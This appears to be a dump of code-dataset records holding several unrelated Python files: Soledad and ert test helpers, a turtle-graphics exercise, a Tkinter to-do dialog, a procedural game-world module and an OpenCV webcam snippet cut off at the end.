_soledad_instance(self, user=ADDRESS, passphrase=u'123',\n prefix='',\n secrets_path='secrets.json',\n local_db_path='soledad.u1db',\n server_url='https://127.0.0.1/',\n cert_file=None,\n shared_db_class=None,\n auth_token='auth-token'):\n\n def _put_doc_side_effect(doc):\n self._doc_put = doc\n\n if shared_db_class is not None:\n MockSharedDB = shared_db_class\n else:\n MockSharedDB = self.get_default_shared_mock(\n _put_doc_side_effect)\n\n soledad = Soledad(\n user,\n passphrase,\n secrets_path=os.path.join(\n self.tempdir, prefix, secrets_path),\n local_db_path=os.path.join(\n self.tempdir, prefix, local_db_path),\n server_url=server_url, # Soledad will fail if not given an url\n cert_file=cert_file,\n shared_db=MockSharedDB(),\n auth_token=auth_token,\n with_blobs=True)\n self.addCleanup(soledad.close)\n return soledad\n\n @pytest.inlineCallbacks\n def assertGetEncryptedDoc(\n self, db, doc_id, doc_rev, content, has_conflicts):\n \"\"\"\n Assert that the document in the database looks correct.\n \"\"\"\n exp_doc = self.make_document(doc_id, doc_rev, content,\n has_conflicts=has_conflicts)\n doc = db.get_doc(doc_id)\n\n if is_symmetrically_encrypted(doc.content['raw']):\n crypt = self._soledad._crypto\n decrypted = yield crypt.decrypt_doc(doc)\n doc.set_json(decrypted)\n self.assertEqual(exp_doc.doc_id, doc.doc_id)\n self.assertEqual(exp_doc.rev, doc.rev)\n self.assertEqual(exp_doc.has_conflicts, doc.has_conflicts)\n self.assertEqual(exp_doc.content, doc.content)\n\n\n@pytest.mark.usefixtures(\"couch_url\")\nclass CouchDBTestCase(unittest.TestCase, MockedSharedDBTest):\n\n \"\"\"\n TestCase base class for tests against a real CouchDB server.\n \"\"\"\n\n def setUp(self):\n \"\"\"\n Make sure we have a CouchDB instance for a test.\n \"\"\"\n self.couch_server = couchdb.Server(self.couch_url)\n\n def delete_db(self, name):\n try:\n self.couch_server.delete(name)\n except Exception:\n # ignore if already missing\n pass\n\n\nclass CouchServerStateForTests(CouchServerState):\n\n \"\"\"\n This is a slightly modified CouchDB server state that allows for creating\n a database.\n\n Ordinarily, the CouchDB server state does not allow some operations,\n because for security purposes the Soledad Server should not even have\n enough permissions to perform them. For tests, we allow database creation,\n otherwise we'd have to create those databases in setUp/tearDown methods,\n which is less pleasant than allowing the db to be automatically created.\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n self.dbs = []\n super(CouchServerStateForTests, self).__init__(*args, **kwargs)\n\n def _create_database(self, replica_uid=None, dbname=None):\n \"\"\"\n Create db and append to a list, allowing test to close it later\n \"\"\"\n dbname = dbname or ('test-%s' % uuid4().hex)\n db = CouchDatabase.open_database(\n urljoin(self.couch_url, dbname),\n True,\n replica_uid=replica_uid or 'test')\n self.dbs.append(db)\n return db\n\n def ensure_database(self, dbname):\n db = self._create_database(dbname=dbname)\n return db, db.replica_uid\n\n\nclass SoledadWithCouchServerMixin(\n BaseSoledadTest,\n CouchDBTestCase):\n\n def setUp(self):\n CouchDBTestCase.setUp(self)\n BaseSoledadTest.setUp(self)\n main_test_class = getattr(self, 'main_test_class', None)\n if main_test_class is not None:\n main_test_class.setUp(self)\n\n def tearDown(self):\n main_test_class = getattr(self, 'main_test_class', None)\n if main_test_class is not None:\n main_test_class.tearDown(self)\n # delete the test database\n BaseSoledadTest.tearDown(self)\n CouchDBTestCase.tearDown(self)\n\n def make_app(self):\n self.request_state = CouchServerStateForTests(self.couch_url)\n self.addCleanup(self.delete_dbs)\n return self.make_app_with_state(self.request_state)\n\n def delete_dbs(self):\n for db in self.request_state.dbs:\n self.delete_db(db._dbname)\n","repo_name":"leapcode/soledad","sub_path":"tests/test_soledad/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":12743,"program_lang":"python","lang":"en","doc_type":"code","stars":38,"dataset":"github-code","pt":"75"} +{"seq_id":"19472930705","text":"import turtle\n\ndef create_dot(color, x, y, r):\n flag = False\n turtle.up()\n try:\n turtle.goto(int(x), int(y))\n except:\n print('Ошибка перехода в координаты')\n flag = True\n\n turtle.down()\n\n try:\n turtle.dot(int(r), color)\n except:\n print('Ошибка рисования')\n flag = True\n return flag\n\n\n\nturtle.pensize(3)\nflag = True\n\nwhile flag:\n color = input('Введите цвет: ')\n x = input('Введите X: ')\n y = input('Введите Y: ')\n r = input('Введите R: ')\n flag = create_dot(color, x, y, r)\n\nturtle.mainloop()\n\n","repo_name":"RuslanMaratovich/skyeng","sub_path":"lesson14/task14.6.py","file_name":"task14.6.py","file_ext":"py","file_size_in_byte":647,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"37299977721","text":"import os\nimport stat\n\n\nclass WorkflowCommon:\n @staticmethod\n def createExternalDumpJob():\n with open(\"dump_job\", \"w\", encoding=\"utf-8\") as f:\n f.write(\"INTERNAL FALSE\\n\")\n f.write(\"EXECUTABLE dump.py\\n\")\n f.write(\"MIN_ARG 2\\n\")\n f.write(\"MAX_ARG 2\\n\")\n f.write(\"ARG_TYPE 0 STRING\\n\")\n\n with open(\"dump_failing_job\", \"w\", encoding=\"utf-8\") as f:\n f.write(\"INTERNAL FALSE\\n\")\n f.write(\"EXECUTABLE dump_failing.py\\n\")\n\n with open(\"dump.py\", \"w\", encoding=\"utf-8\") as f:\n f.write(\"#!/usr/bin/env python\\n\")\n f.write(\"import sys\\n\")\n f.write(\"f = open('%s' % sys.argv[1], 'w')\\n\")\n f.write(\"f.write('%s' % sys.argv[2])\\n\")\n f.write(\"f.close()\\n\")\n f.write('print(\"Hello World\")')\n\n with open(\"dump_failing.py\", \"w\", encoding=\"utf-8\") as f:\n f.write(\"#!/usr/bin/env python\\n\")\n f.write('print(\"Hello Failing\")\\n')\n f.write(\"raise Exception\")\n\n st = os.stat(\"dump.py\")\n os.chmod(\n \"dump.py\", st.st_mode | stat.S_IEXEC\n ) # | stat.S_IXUSR | stat.S_IXGRP | stat.S_IXOTH\n st = os.stat(\"dump_failing.py\")\n os.chmod(\"dump_failing.py\", st.st_mode | stat.S_IEXEC)\n\n with open(\"dump_workflow\", \"w\", encoding=\"utf-8\") as f:\n f.write(\"DUMP dump1 dump_text_1\\n\")\n f.write(\"DUMP dump2 dump__2\\n\")\n\n @staticmethod\n def createErtScriptsJob():\n with open(\"subtract_script.py\", \"w\", encoding=\"utf-8\") as f:\n f.write(\"from ert import ErtScript\\n\")\n f.write(\"\\n\")\n f.write(\"class SubtractScript(ErtScript):\\n\")\n f.write(\" def run(self, arg1, arg2):\\n\")\n f.write(\" return arg1 - arg2\\n\")\n\n with open(\"subtract_script_job\", \"w\", encoding=\"utf-8\") as f:\n f.write(\"INTERNAL True\\n\")\n f.write(\"SCRIPT subtract_script.py\\n\")\n f.write(\"MIN_ARG 2\\n\")\n f.write(\"MAX_ARG 2\\n\")\n f.write(\"ARG_TYPE 0 FLOAT\\n\")\n f.write(\"ARG_TYPE 1 FLOAT\\n\")\n\n @staticmethod\n def createWaitJob(): # noqa: PLR0915\n with open(\"wait_job.py\", \"w\", encoding=\"utf-8\") as f:\n f.write(\"from ert import ErtScript\\n\")\n f.write(\"import time\\n\")\n f.write(\"\\n\")\n f.write(\"class WaitScript(ErtScript):\\n\")\n f.write(\" def dump(self, filename, content):\\n\")\n f.write(\" with open(filename, 'w') as f:\\n\")\n f.write(\" f.write(content)\\n\")\n f.write(\"\\n\")\n f.write(\" def run(self, number, wait_time):\\n\")\n f.write(\" self.dump('wait_started_%d' % number, 'text')\\n\")\n f.write(\" start = time.time()\\n\")\n f.write(\" diff = 0\\n\")\n f.write(\" while not self.isCancelled() and diff < wait_time: \\n\")\n f.write(\" time.sleep(0.2)\\n\")\n f.write(\" diff = time.time() - start\\n\")\n f.write(\"\\n\")\n f.write(\" if self.isCancelled():\\n\")\n f.write(\" self.dump('wait_cancelled_%d' % number, 'text')\\n\")\n f.write(\" else:\\n\")\n f.write(\" self.dump('wait_finished_%d' % number, 'text')\\n\")\n f.write(\"\\n\")\n f.write(\" return None\\n\")\n\n with open(\"external_wait_job.sh\", \"w\", encoding=\"utf-8\") as f:\n f.write(\"#!/usr/bin/env bash\\n\")\n f.write('echo \"text\" > wait_started_$1\\n')\n f.write(\"sleep $2\\n\")\n f.write('echo \"text\" > wait_finished_$1\\n')\n\n st = os.stat(\"external_wait_job.sh\")\n os.chmod(\n \"external_wait_job.sh\", st.st_mode | stat.S_IEXEC\n ) # | stat.S_IXUSR | stat.S_IXGRP | stat.S_IXOTH\n\n with open(\"wait_job\", \"w\", encoding=\"utf-8\") as f:\n f.write(\"INTERNAL True\\n\")\n f.write(\"SCRIPT wait_job.py\\n\")\n f.write(\"MIN_ARG 2\\n\")\n f.write(\"MAX_ARG 2\\n\")\n f.write(\"ARG_TYPE 0 INT\\n\")\n f.write(\"ARG_TYPE 1 INT\\n\")\n\n with open(\"external_wait_job\", \"w\", encoding=\"utf-8\") as f:\n f.write(\"INTERNAL False\\n\")\n f.write(\"EXECUTABLE external_wait_job.sh\\n\")\n f.write(\"MIN_ARG 2\\n\")\n f.write(\"MAX_ARG 2\\n\")\n f.write(\"ARG_TYPE 0 INT\\n\")\n f.write(\"ARG_TYPE 1 INT\\n\")\n\n with open(\"wait_workflow\", \"w\", encoding=\"utf-8\") as f:\n f.write(\"WAIT 0 1\\n\")\n f.write(\"WAIT 1 10\\n\")\n f.write(\"WAIT 2 1\\n\")\n\n with open(\"fast_wait_workflow\", \"w\", encoding=\"utf-8\") as f:\n f.write(\"WAIT 0 1\\n\")\n f.write(\"EXTERNAL_WAIT 1 1\\n\")\n","repo_name":"equinor/ert","sub_path":"tests/unit_tests/job_queue/workflow_common.py","file_name":"workflow_common.py","file_ext":"py","file_size_in_byte":4816,"program_lang":"python","lang":"en","doc_type":"code","stars":79,"dataset":"github-code","pt":"75"} +{"seq_id":"70316194802","text":"from tkinter import *\nfrom tkinter.messagebox import showerror\n\n\nclass EditDoDialogWindow(Toplevel):\n \"\"\"The class dialog of edit Do in Do list\"\"\"\n def __init__(self, parent, editText):\n \"\"\"Constructor edit dialog\"\"\"\n # set edit text value\n self.editText = editText\n self._result_text = \"\"\n # set parent for the dialog\n self.top = Toplevel(parent)\n self.top.transient(parent)\n # create modal window\n self.top.grab_set()\n # set title the modal window\n self.top.title(\"Редактирование задачи с названием: \" + self.editText)\n # if pressed enter key\n self.top.bind(\"\", self.ok)\n # if pressed escape key\n self.top.bind(\"\", self.cancel)\n # set info label the modal window\n self.labelEditInfo = Label(self.top, text=\"Как теперь будет называться задача: {}\".format(self.editText))\n self.labelEditInfo.pack(padx=15, fill=X)\n # set edit entry\n self.editEntry = Entry(self.top)\n # if pressed enter key\n self.editEntry.bind(\"\", self.ok)\n # if pressed escape key\n self.editEntry.bind(\"\", self.cancel)\n # pad from left border\n self.editEntry.pack(padx=15, fill=X)\n # set focus at the entry\n self.editEntry.focus_set()\n # create btn ok\n btnOk = Button(self.top, text=\"Ok\", command=self.ok)\n btnOk.pack(pady=5, side=RIGHT)\n # create btn cancel\n btnCancel = Button(self.top, text=\"Cancel\", command=self.cancel)\n btnCancel.pack(pady=5, side=RIGHT)\n\n def ok(self, event=None):\n \"\"\"method on event return or ok press btn\"\"\"\n # set result text\n self._result_text = self.editEntry.get()\n if self.top.master.change_do(self._result_text) == \"ok\":\n # if Do was change close the dialog window\n self.top.destroy()\n elif self.top.master.change_do(self._result_text) == \"the same do\":\n # if the same do exists in DoList show error\n showerror(\"Ошибка\", \"Такая задача уже есть\")\n elif self.top.master.change_do(self._result_text) == \"empty do\":\n # if entered empty Do or with only space show error\n showerror(\"Ошибка\", \"нужно что-то написать словами\")\n\n def cancel(self, event=None):\n \"\"\"method on event escape or cancel press btn\"\"\"\n self.top.destroy()\n\n def get_result(self):\n \"\"\"getter method for result edit text\"\"\"\n return self._result_text\n","repo_name":"maksimsultanov/ToDoList","sub_path":"EditDoDialogWindow.py","file_name":"EditDoDialogWindow.py","file_ext":"py","file_size_in_byte":2650,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"35212734095","text":"from __future__ import annotations\n\nimport logging\nimport pickle\nimport random\nimport sys\nfrom abc import ABC\nfrom dataclasses import dataclass, field\nfrom itertools import product\nfrom pathlib import Path\nfrom typing import List, Tuple, Dict, Iterator, Union, Type\n\nimport math\nimport numpy as np\nfrom astar import AStar\nfrom math import sqrt\nfrom noise import pnoise3\n\nfrom Discordia import SPRITE_FOLDER\nfrom Discordia.GameLogic import Events, Actors, Items, Weapons\nfrom Discordia.GameLogic.Items import Equipment\nfrom Discordia.GameLogic.Procedural import normal, WorldGenerationParameters\nfrom Discordia.GameLogic.StringGenerator import TownNameGenerator, WildsNameGenerator\n\nLOG = logging.getLogger(\"Discordia.GameLogic.GameSpace\")\n\nDirection = Tuple[int, int]\n\nDIRECTION_VECTORS: Dict[str, Direction] = {\n 'n': (0, -1),\n 's': (0, 1),\n 'e': (1, 0),\n 'w': (-1, 0),\n 'ne': (1, -1),\n 'se': (1, 1),\n 'sw': (-1, 1),\n 'nw': (-1, -1),\n 'center': (0, 0),\n None: (0, 0)\n}\n\n\ndef bitmask_to_orientation(value: int) -> str:\n if 0xff & value == 0xff or 0b01011010 & value == 0b01011010:\n return 'center'\n if 0b01011000 & value == 0b01011000:\n return 'n'\n if 0b01001010 & value == 0b01001010:\n return 'e'\n if 0b00011010 & value == 0b00011010:\n return 's'\n if 0b01010010 & value == 0b01010010:\n return 'w'\n if 0b01010000 & value == 0b01010000:\n return 'nw'\n if 0b01001000 & value == 0b01001000:\n return 'ne'\n if 0b00010010 & value == 0b00010010:\n return 'sw'\n if 0b00001010 & value == 0b00001010:\n return 'se'\n else:\n return 'center'\n\n\nclass Terrain(ABC):\n _orientation: str = \"center\"\n\n def __str__(self) -> str:\n return self.__class__.__name__\n\n def __repr__(self) -> str:\n return str(self)\n\n def __hash__(self):\n return hash(str(self)) + hash(self.walkable)\n\n @property\n def walkable(self) -> bool:\n raise NotImplementedError\n\n @property\n def name(self) -> str:\n raise NotImplementedError\n\n @property\n def orientation(self) -> str:\n return self._orientation\n\n @orientation.setter\n def orientation(self, value: str):\n value = value.lower()\n if value not in DIRECTION_VECTORS.keys():\n raise ValueError(\"Invalid direction given: \", value)\n self._orientation = value\n\n @property\n def sprite_path(self) -> Path:\n return SPRITE_FOLDER / \"Terrain\" / f\"{self.name}_{self.orientation}.png\"\n\n @property\n def sprite_path_string(self) -> str:\n return str(self.sprite_path)\n\n @property\n def cost(self) -> int:\n # Unimplemented terrain returns \"infinite\"\n return sys.maxsize\n\n @property\n def buildable(self):\n raise NotImplementedError\n\n @property\n def layer(self):\n \"\"\" Basically the Z value of the terrain; how high it is. 0 is sea level. -1 is null-level \"\"\"\n return -1\n\n\nclass NullTerrain(Terrain):\n walkable = False\n name = \"null_tile\"\n buildable = False\n\n\nclass SandTerrain(Terrain):\n walkable = True\n name = \"sand\"\n cost = 2\n buildable = True\n layer = 1\n\n\nclass GrassTerrain(Terrain):\n walkable = True\n name = \"grass\"\n cost = 1\n buildable = True\n layer = 1\n\n\nclass WaterTerrain(Terrain):\n walkable = True\n name = \"water\"\n cost = 5\n buildable = False\n layer = 0\n\n @property\n def orientation(self) -> str:\n return 'center'\n\n @orientation.setter\n def orientation(self, value):\n pass\n\n\nclass MountainTerrain(Terrain):\n walkable = True\n name = \"mountain\"\n cost = 8\n buildable = False\n layer = 2\n\n\nclass IndustryType(ABC):\n @property\n def name(self) -> str:\n raise NotImplementedError\n\n @property\n def recruitment_class(self) -> Actors.PlayerClass:\n return Actors.WandererClass()\n\n\nclass NullIndustry(IndustryType):\n @property\n def name(self) -> str:\n return \"None\"\n\n\nclass MiningIndustry(IndustryType):\n @property\n def name(self) -> str:\n return \"Mining\"\n\n\nclass FarmingIndustry(IndustryType):\n @property\n def name(self) -> str:\n return \"Farming\"\n\n\nclass SmithingIndustry(IndustryType):\n @property\n def name(self) -> str:\n return \"Smithing\"\n\n\nclass WoodworkingIndustry(IndustryType):\n @property\n def name(self) -> str:\n return \"Woodworking\"\n\n\nclass MilitaryBase(IndustryType, ABC):\n @property\n def name(self) -> str:\n raise NotImplementedError\n\n @property\n def recruitment_class(self) -> Actors.PlayerClass:\n return Actors.SoliderClass()\n\n\nclass EasternMilitaryBase(MilitaryBase):\n @property\n def name(self) -> str:\n return \"Eastern Military Base\"\n\n\nclass WesternMilitaryBase(MilitaryBase):\n @property\n def name(self) -> str:\n return \"Western Military Base\"\n\n\nclass Space(ABC):\n\n def __init__(self, x: int, y: int, terrain: Terrain = NullTerrain()):\n if x < 0 or y < 0:\n raise ValueError(f\"Negative coordinate given: {min(x, y)}\")\n self.x: int = x\n self.y: int = y\n self.terrain: Terrain = terrain\n self.name = str(self)\n\n def __str__(self):\n return \"({}, {})\".format(self.x, self.y)\n\n def __repr__(self):\n return str((self.x, self.y, self.terrain))\n\n def __eq__(self, other):\n return self.x == other[0] and self.y == other[1]\n\n def __add__(self, other) -> Space:\n if isinstance(other, Space):\n return Space(max(self.x + other.x, 0), max(self.y + other.y, 0), other.terrain)\n else:\n return Space(max(self.x + int(other[0]), 0), max(self.y + int(other[1]), 0), NullTerrain())\n\n def __sub__(self, other):\n if isinstance(other, Space):\n return Space(max(self.x - other.x, 0), max(self.y - other.y, 0), other.terrain)\n else:\n return Space(max(self.x - int(other[0]), 0), max(self.y - int(other[1]), 0), NullTerrain())\n\n def __iter__(self):\n yield self.x\n yield self.y\n\n def __getitem__(self, item) -> int:\n if item == 0:\n return self.x\n if item == 1:\n return self.y\n raise ValueError(\"Item should be either 0 or 1\")\n\n def __hash__(self):\n return hash(self.x) + (10 * hash(self.y)) + (100 * hash(self.terrain))\n\n @property\n def sprite_path(self):\n return self.terrain.sprite_path\n\n @property\n def sprite_path_string(self):\n return str(self.sprite_path)\n\n def distance(self, other) -> float:\n return sqrt(abs(self.x - other[0]) ** 2 + abs(self.y - other[1]) ** 2)\n\n def closest(self, space_list: List[Union[Space, Tuple[int, int]]], size=1):\n \"\"\" Returns a list of the closest spaces out of space_list, in decreasing order \"\"\"\n return sorted(space_list, key=lambda o: self.distance(o))[0:size - 1]\n\n\nclass Town(Space):\n\n def __init__(self, x: int, y: int, name: str, population: int = 0, industry: IndustryType = NullIndustry(),\n terrain: Terrain = NullTerrain(), store: Store = None) -> None:\n super(Town, self).__init__(x, y, terrain)\n self.name: str = name\n self.population: int = population\n self.industry: IndustryType = industry\n self.store: Store = store\n self.is_underwater: bool = isinstance(self.terrain, WaterTerrain)\n\n @classmethod\n def generate_town(cls, x, y, terrain):\n name = TownNameGenerator.generate_name()\n population = random.randint(1, 1000)\n industry = random.choice(IndustryType.__subclasses__())()\n store = Store.generate_store()\n return cls(x, y, name, population, industry, terrain, store)\n\n def inn_event(self, character: Actors.PlayerCharacter) -> PlayerActionResponse:\n character.hit_points = character.hit_points_max\n resp = PlayerActionResponse(True, 0, character, f\"Your hitpoints have been restored, {character.name}\", [], 0,\n source=character)\n return resp\n\n def recruit(self, character: Actors.PlayerCharacter) -> PlayerActionResponse:\n _class = self.industry.recruitment_class\n if _class.tier >= character.player_class.tier and _class.name != character.player_class.name:\n character.player_class = _class\n resp = PlayerActionResponse(is_successful=True, text=f\"Class was successfully changed to {_class.name}\")\n else:\n resp = PlayerActionResponse(is_successful=False, text=f\"Your class is already better than {_class.name}\")\n return resp\n\n @property\n def sprite_path(self):\n return SPRITE_FOLDER / \"Structures\" / \"town_default.png\"\n\n\nclass Base(Town):\n pass # TODO \"Base\" Class\n\n\nclass Wilds(Space):\n\n def __init__(self, x, y, name, terrain: Terrain = NullTerrain()):\n super().__init__(x, y, terrain)\n self.name: str = name\n self.null_event: Events.Event = Events.Event.null_event()\n self.events: List[Events.Event] = []\n self.events.append(self.null_event)\n\n def add_event(self, event: Events.Event):\n if event.probability > self.null_event.probability:\n event.probability = self.null_event.probability\n self.events.append(event)\n self.null_event.probability -= event.probability\n assert self.null_event.probability >= 0\n\n def run_event(self, player) -> List[PlayerActionResponse]:\n chosen_event = np.random.choice(self.events, size=1, p=[event.probability for event in self.events])[0]\n results = chosen_event.run(player)\n if results is None:\n results = [PlayerActionResponse(source=player)]\n return list(results)\n\n @classmethod\n def generate(cls, x, y, terrain: Terrain, level) -> Wilds:\n name = WildsNameGenerator.generate_name()\n wilds = cls(x, y, name, terrain)\n for _ in range(level):\n event = Events.generate_event(level)\n wilds.add_event(event)\n return wilds\n\n @property\n def sprite_path(self):\n return SPRITE_FOLDER / \"Structures\" / \"wilds_default.png\"\n\n\n@dataclass\nclass PlayerActionResponse:\n is_successful: bool = False\n damage: int = 0\n target: Actors.Actor = None\n text: str = \"\"\n items: List[Equipment] = field(default_factory=list)\n currency: int = 0\n source: Actors.Actor = None\n\n @property\n def failed(self):\n return not self.is_successful\n\n\nclass World:\n\n def __init__(self, name: str, width: int, height: int,\n generation_parameters: WorldGenerationParameters = WorldGenerationParameters(), seed=None):\n super().__init__()\n self.name: str = name\n self.width: int = width\n self.height: int = height\n self.gen_params: WorldGenerationParameters = generation_parameters\n self.map: List[List[Space]] = [[Space(x, y, NullTerrain()) for x in range(width)] for y in\n range(height)]\n self.towns: List[Town] = []\n self.wilds: List[Wilds] = []\n self.players: List[Actors.PlayerCharacter] = []\n self.npcs: List[Actors.NPC] = []\n self.starting_town: Town = Town.generate_town(0, 0, NullTerrain())\n\n if seed:\n random.seed(seed)\n np.random.seed(seed)\n self.generate_map()\n\n def save_as_file(self):\n pickle.dump(self, open(\"world.p\", \"wb\"))\n\n def generate_map(self):\n LOG.info(\"Generating Map...\")\n\n # Get parameters\n resolution = self.gen_params.resolution_constant * (\n (self.width + self.height) / 2) # I pulled this out of my butt. Gives us decently scaled noise.\n sand_slice = random.random()\n mountain_slice = random.random()\n grass_slice = random.random()\n water_threshold = self.gen_params.water # Higher factor -> more Spaces on the map\n mountain_threshold = self.gen_params.mountains\n grass_threshold = self.gen_params.grass\n\n # First pass\n for x in range(self.width):\n for y in range(self.height):\n # Land and water pass\n self.map[y][x] = Space(x, y, SandTerrain() if abs(\n pnoise3(x / resolution, y / resolution, sand_slice)) > water_threshold else WaterTerrain())\n\n # Mountains pass\n if abs(pnoise3(x / resolution, y / resolution, mountain_slice)) > mountain_threshold and self.map[y][\n x].terrain.walkable:\n self.map[y][x] = Space(x, y, MountainTerrain())\n\n # Grass pass\n if abs(pnoise3(x / resolution, y / resolution, grass_slice)) > grass_threshold:\n self.map[y][x] = Space(x, y, GrassTerrain())\n\n # Town and Wilds pass\n if self.map[y][x].terrain.buildable:\n if random.random() <= self.gen_params.towns:\n # Just puts town in first valid spot. Not very interesting.\n self.add_town(Town.generate_town(x, y, terrain=self.map[y][x].terrain))\n elif random.random() <= self.gen_params.wilds:\n self.add_wilds(\n Wilds.generate(x, y, self.map[y][x].terrain,\n normal(sqrt(self.starting_town.distance((x, y))), integer=True,\n positive=True)))\n\n # Second (orientation) pass\n # https://gamedevelopment.tutsplus.com/tutorials/how-to-use-tile-bitmasking-to-auto-tile-your-level-layouts--cms-25673\n for x in range(1, self.width - 1):\n for y in range(1, self.height - 1):\n space: Space = self.map[y][x]\n\n # Bitmask\n value = 0\n for bit, neighbor in enumerate([DIRECTION_VECTORS.get(key) for key in ['nw', 'n', 'ne',\n 'w', 'e', 'sw',\n 's', 'se']]):\n ix, iy = space + neighbor\n if self.map[iy][ix].terrain.layer == space.terrain.layer:\n value += pow(2, bit)\n\n if value != 0:\n space.terrain.orientation = bitmask_to_orientation(value)\n\n self.starting_town = random.choice(self.towns)\n LOG.info(\"Generation finished\")\n\n def is_space_valid(self, space: Space) -> bool:\n return (0 <= space.x <= self.width - 1) and (0 <= space.y <= self.height - 1) and space.terrain.walkable\n\n def is_coords_valid(self, x: int, y: int):\n if (0 <= x <= self.width - 1) and (0 <= y <= self.height - 1):\n return self.map[y][x].terrain.walkable\n return False\n\n def is_space_buildable(self, space: Space) -> bool:\n # FIXME Ugly function\n if space.terrain.buildable:\n if not self.is_space_valid(space) or space in self.towns or space in self.wilds:\n return False\n return True\n return False\n\n def get_adjacent_spaces(self, space: Space, sq_range: int = 1) -> List[Space]:\n fov = list(range(-sq_range, sq_range + 1))\n steps = product(fov, repeat=2)\n coords = (tuple(c + d for c, d in zip(space, delta)) for delta in steps)\n return [self.map[j][i] for i, j in coords if (0 <= i < self.width) and (0 <= j < self.height)]\n\n def add_town(self, town: Town, is_starting_town: bool = False):\n self.towns.append(town)\n town.terrain = self.map[town.y][town.x].terrain\n self.map[town.y][town.x] = town\n if is_starting_town:\n self.starting_town = town\n\n def add_wilds(self, wilds: Wilds):\n self.wilds.append(wilds)\n wilds.terrain = self.map[wilds.y][wilds.x].terrain\n self.map[wilds.y][wilds.x] = wilds\n\n def add_actor(self, actor: Actors.Actor, space: Space = None):\n if isinstance(actor, Actors.PlayerCharacter):\n actor.location = self.starting_town\n self.players.append(actor)\n elif space and self.is_space_valid(space):\n actor.location = space\n self.npcs.append(actor)\n\n def get_npcs_in_region(self, spaces: List[Space]) -> List[Actors.NPC]:\n npc_locations: Dict[Actors.NPC, Space] = {npc: npc.location for npc in self.npcs}\n common_locations: List[Space] = list(set(npc_locations.values()).intersection(spaces))\n npcs: List[Actors.NPC] = [npc for npc in self.npcs if npc.location in common_locations]\n return npcs\n\n def get_players_in_region(self, spaces: List[Space]) -> List[Actors.PlayerCharacter]:\n player_locations: Dict[Actors.PlayerCharacter, Space] = {player: player.location for player in self.players}\n common_locations: List[Space] = list(set(player_locations.values()).intersection(spaces))\n players: List[Actors.PlayerCharacter] = [player for player in self.players if\n player.location in common_locations]\n return players\n\n def pvp_attack(self, player_character: Actors.PlayerCharacter,\n direction: Direction = (0, 0)) -> PlayerActionResponse:\n response = PlayerActionResponse(text=\"No targets found in that direction\", source=player_character)\n loc: Space = player_character.location\n dmg: int = player_character.weapon.damage\n while dmg > 0:\n if isinstance(player_character.weapon, Weapons.ProjectileWeapon) and player_character.weapon.is_empty:\n response.text = \"Your currently equipped weapon is empty!\"\n break\n targets = [player for player in self.players if player != player_character and player.location == loc]\n if len(targets):\n target: Actors.PlayerCharacter = random.choice(targets)\n player_character.weapon.on_damage()\n target.take_damage(dmg)\n response.is_successful = True\n response.damage = dmg\n response.target = target\n break\n else:\n if isinstance(player_character.weapon, Weapons.MeleeWeapon):\n response.text = \"No other players in range of your Melee Weapon.\"\n break\n if direction == (0, 0):\n response.text = \"No other players in current square. \" \\\n \"Specify a direction (n,s,e,w,ne,se,sw,nw))\"\n break\n loc += direction\n loc = self.map[loc.y][loc.x]\n dmg = player_character.weapon.calc_damage(player_character.location.distance(loc))\n return response\n\n def handle_player_death(self, player: Actors.PlayerCharacter):\n LOG.info(f\"Player {player.name} has died\")\n player.location = self.starting_town\n player.hit_points = player.hit_points_max\n\n\nclass Store:\n\n def __init__(self, inventory=None):\n super().__init__()\n self.inventory: List[Equipment] = inventory if inventory is not None else []\n self.price_ratio: float = 1.0 # Lower means better buy/sell prices, higher means worse\n\n @classmethod\n def generate_store(cls):\n inventory: List[Equipment] = []\n for item_class in Items.FullyImplemented.__subclasses__():\n item: Equipment = item_class()\n if random.random() > 0.2:\n inventory.append(item)\n return cls(inventory)\n\n def get_price(self, item: Equipment) -> float:\n return item.base_value * self.price_ratio\n\n def sell_item(self, index: int, player_character: Actors.PlayerCharacter) -> bool:\n # Get an instance of the item from the Store's inventory\n try:\n item = [item for item in self.inventory if issubclass(type(item), type(list(set(self.inventory))[index]))][\n 0]\n except IndexError:\n return False\n price = self.get_price(item)\n if player_character.currency < price:\n return False\n self.inventory.remove(item)\n player_character.currency -= price\n player_character.inventory.append(item)\n return True\n\n def buy_item(self, item: Equipment, player_character: Actors.PlayerCharacter) -> float:\n self.inventory.append(item)\n price = item.base_value / self.price_ratio\n player_character.currency += price\n player_character.inventory.remove(item)\n return price\n\n\nclass AStarPathfinder(AStar):\n\n def __init__(self, world: World, cost: bool = True):\n self.world = world\n self.cost = cost\n\n @property\n def map(self):\n return self.world.map\n\n def is_space_valid(self, space: Space):\n return self.world.is_space_valid(space)\n\n def neighbors(self, space: Space) -> Iterator[Space]:\n directions = ['n', 's', 'e', 'w']\n for dir_vector in [DIRECTION_VECTORS.get(d) for d in directions]:\n potential_space = space + dir_vector\n if self.world.is_coords_valid(potential_space.x, potential_space.y):\n map_space = self.map[potential_space.y][potential_space.x]\n yield map_space\n\n def distance_between(self, first: Space, second: Space) -> float:\n if self.cost:\n return (sys.maxsize * (self.is_space_valid(second) is False)) + second.terrain.cost\n else:\n return 1\n\n def heuristic_cost_estimate(self, current: Space, goal: Space) -> float:\n \"\"\"computes the 'direct' distance between two (x,y) tuples\"\"\"\n return math.hypot(goal.x - current.x, goal.y - current.y)\n\n def is_goal_reached(self, current: Space, goal: Space):\n return current == goal\n","repo_name":"samclane/Discordia","sub_path":"Discordia/GameLogic/GameSpace.py","file_name":"GameSpace.py","file_ext":"py","file_size_in_byte":21872,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"75"} +{"seq_id":"70970612081","text":"import cv2\nprint(\"package imported\")\n#------ to read and display image ------\n# img = cv2.imread(\"resources/300980.jpg\")\n# cv2.imshow(\"output\", img)\n# cv2.waitKey(1000)\n\n#------ to read video -------\n# cap = cv2.VideoCapture(\"resources/Rec 0001.mp4\")\n\n#------- to capture video from cam ----------\ncap = cv2.VideoCapture(1)\ncap.set(10, 100) # to set brightness\n\n#-------- to display video from file or camera -----\nwhile True:\n success, img = cap.read()\n cv2.imshow(\"Video\", img)\n if cv2.waitKey(1) & 0xFF ==ord('q'):\n break\n","repo_name":"yashswag22/Python-code-to-read-and-display-image-video-from-file-and-camera","sub_path":"image video read display.py","file_name":"image video read 